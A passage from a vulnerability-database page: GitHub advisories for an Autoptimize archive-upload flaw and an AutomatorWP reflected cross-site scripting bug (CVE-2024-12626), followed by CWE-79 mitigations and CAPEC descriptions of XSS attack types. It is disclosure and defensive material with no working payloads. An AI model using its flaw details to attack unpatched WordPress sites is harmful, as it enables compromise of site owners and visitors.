"details": "The Autoptimize WordPress plugin before 2.7.8 does not check for malicious files such as .html in the archive uploaded via the \u0027Import Settings\u0027 feature. As a result, it is possible for a high privilege user to upload a malicious file containing JavaScript code inside an archive which will execute when a victim visits index.html inside the plugin directory.",
"id": "GHSA-27r4-rp49-685c",
"modified": "2022-05-24T19:05:47Z",
"published": "2022-05-24T19:05:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-24378"
},
{
"type": "WEB",
"url": "https://wpscan.com/vulnerability/375bd694-1a30-41af-bbd4-8a8ee54f0dbf"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-27R7-5V98-M3Q3
Vulnerability from github – Published: 2024-12-19 12:32 – Updated: 2024-12-19 12:32The AutomatorWP – Automator plugin for no-code automations, webhooks & custom integrations in WordPress plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the ‘a-0-o-search_field_value’ parameter in all versions up to, and including, 5.0.9 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. When used in conjunction with the plugin's import and code action feature, this vulnerability can be leveraged to execute arbitrary code.
{
"affected": [],
"aliases": [
"CVE-2024-12626"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-12-19T12:15:06Z",
"severity": "CRITICAL"
},
"details": "The AutomatorWP \u2013 Automator plugin for no-code automations, webhooks \u0026 custom integrations in WordPress plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the \u2018a-0-o-search_field_value\u2019 parameter in all versions up to, and including, 5.0.9 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. When used in conjunction with the plugin\u0027s import and code action feature, this vulnerability can be leveraged to execute arbitrary code.",
"id": "GHSA-27r7-5v98-m3q3",
"modified": "2024-12-19T12:32:40Z",
"published": "2024-12-19T12:32:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-12626"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/3209794/automatorwp"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/c8abcc7b-6c68-4fc8-81af-e88624e417dd?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
- Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.
Mitigation
- Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies.
- For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters.
- Parts of the same output document may require different encodings, which will vary depending on whether the output is in the:
- etc. Note that HTML Entity Encoding is only appropriate for the HTML body.
- Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed.
- HTML body
- Element attributes (such as src="XYZ")
- URIs
- JavaScript sections
- Cascading Style Sheets and style property
Mitigation MIT-6
Strategy: Attack Surface Reduction
Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-27
Strategy: Parameterization
If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
Mitigation MIT-30.1
Strategy: Output Encoding
- Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.
- The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.
Mitigation MIT-43
With Struts, write all data from form beans with the bean's filter attribute set to true.
Mitigation MIT-31
Strategy: Attack Surface Reduction
To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XmlHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When dynamically constructing web pages, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. All input should be validated and cleansed, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. It is common to see data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.
- Note that proper output encoding, escaping, and quoting is the most effective solution for preventing XSS, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent XSS, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, in a chat application, the heart emoticon ("<3") would likely pass the validation step, since it is commonly used. However, it cannot be directly inserted into the web page because it contains the "<" character, which would need to be escaped or otherwise handled. In this case, stripping the "<" might reduce the risk of XSS, but it would produce incorrect behavior because the emoticon would not be recorded. This might seem to be a minor inconvenience, but it would be more important in a mathematical forum that wants to represent inequalities.
- Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.
- Ensure that you perform input validation at well-defined interfaces within the application. This will help protect the application even if a component is reused or moved elsewhere.
Mitigation MIT-21
Strategy: Enforcement by Conversion
When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-209: XSS Using MIME Type Mismatch
An adversary creates a file with scripting content but where the specified MIME type of the file is such that scripting is not expected. The adversary tricks the victim into accessing a URL that responds with the script file. Some browsers will detect that the specified MIME type of the file does not match the actual type of its content and will automatically switch to using an interpreter for the real content type. If the browser does not invoke script filters before doing this, the adversary's script may run on the target unsanitized, possibly revealing the victim's cookies or executing arbitrary script in their browser.
CAPEC-588: DOM-Based XSS
This type of attack is a form of Cross-Site Scripting (XSS) where a malicious script is inserted into the client-side HTML being parsed by a web browser. Content served by a vulnerable web application includes script code used to manipulate the Document Object Model (DOM). This script code either does not properly validate input, or does not perform proper output encoding, thus creating an opportunity for an adversary to inject a malicious script launch a XSS attack. A key distinction between other XSS attacks and DOM-based attacks is that in other XSS attacks, the malicious script runs when the vulnerable web page is initially loaded, while a DOM-based attack executes sometime after the page loads. Another distinction of DOM-based attacks is that in some cases, the malicious script is never sent to the vulnerable web server at all. An attack like this is guaranteed to bypass any server-side filtering attempts to protect users.
CAPEC-591: Reflected XSS
This type of attack is a form of Cross-Site Scripting (XSS) where a malicious script is "reflected" off a vulnerable web application and then executed by a victim's browser. The process starts with an adversary delivering a malicious script to a victim and convincing the victim to send the script to the vulnerable web application.
CAPEC-592: Stored XSS
An adversary utilizes a form of Cross-site Scripting (XSS) where a malicious script is persistently "stored" within the data storage of a vulnerable web application as valid input.
CAPEC-63: Cross-Site Scripting (XSS)
An adversary embeds malicious scripts in content that will be served to web browsers. The goal of the attack is for the target software, the client-side browser, to execute the script with the users' privilege level. An attack of this type exploits a programs' vulnerabilities that are brought on by allowing remote hosts to execute code and scripts. Web browsers, for example, have some simple security controls in place, but if a remote attacker is allowed to execute scripts (through injecting them in to user-generated content like bulletin boards) then these controls may be bypassed. Further, these attacks are very difficult for an end user to detect.
CAPEC-85: AJAX Footprinting
This attack utilizes the frequent client-server roundtrips in Ajax conversation to scan a system. While Ajax does not open up new vulnerabilities per se, it does optimize them from an attacker point of view. A common first step for an attacker is to footprint the target environment to understand what attacks will work. Since footprinting relies on enumeration, the conversational pattern of rapid, multiple requests and responses that are typical in Ajax applications enable an attacker to look for many vulnerabilities, well-known ports, network locations and so on. The knowledge gained through Ajax fingerprinting can be used to support other attacks, such as XSS.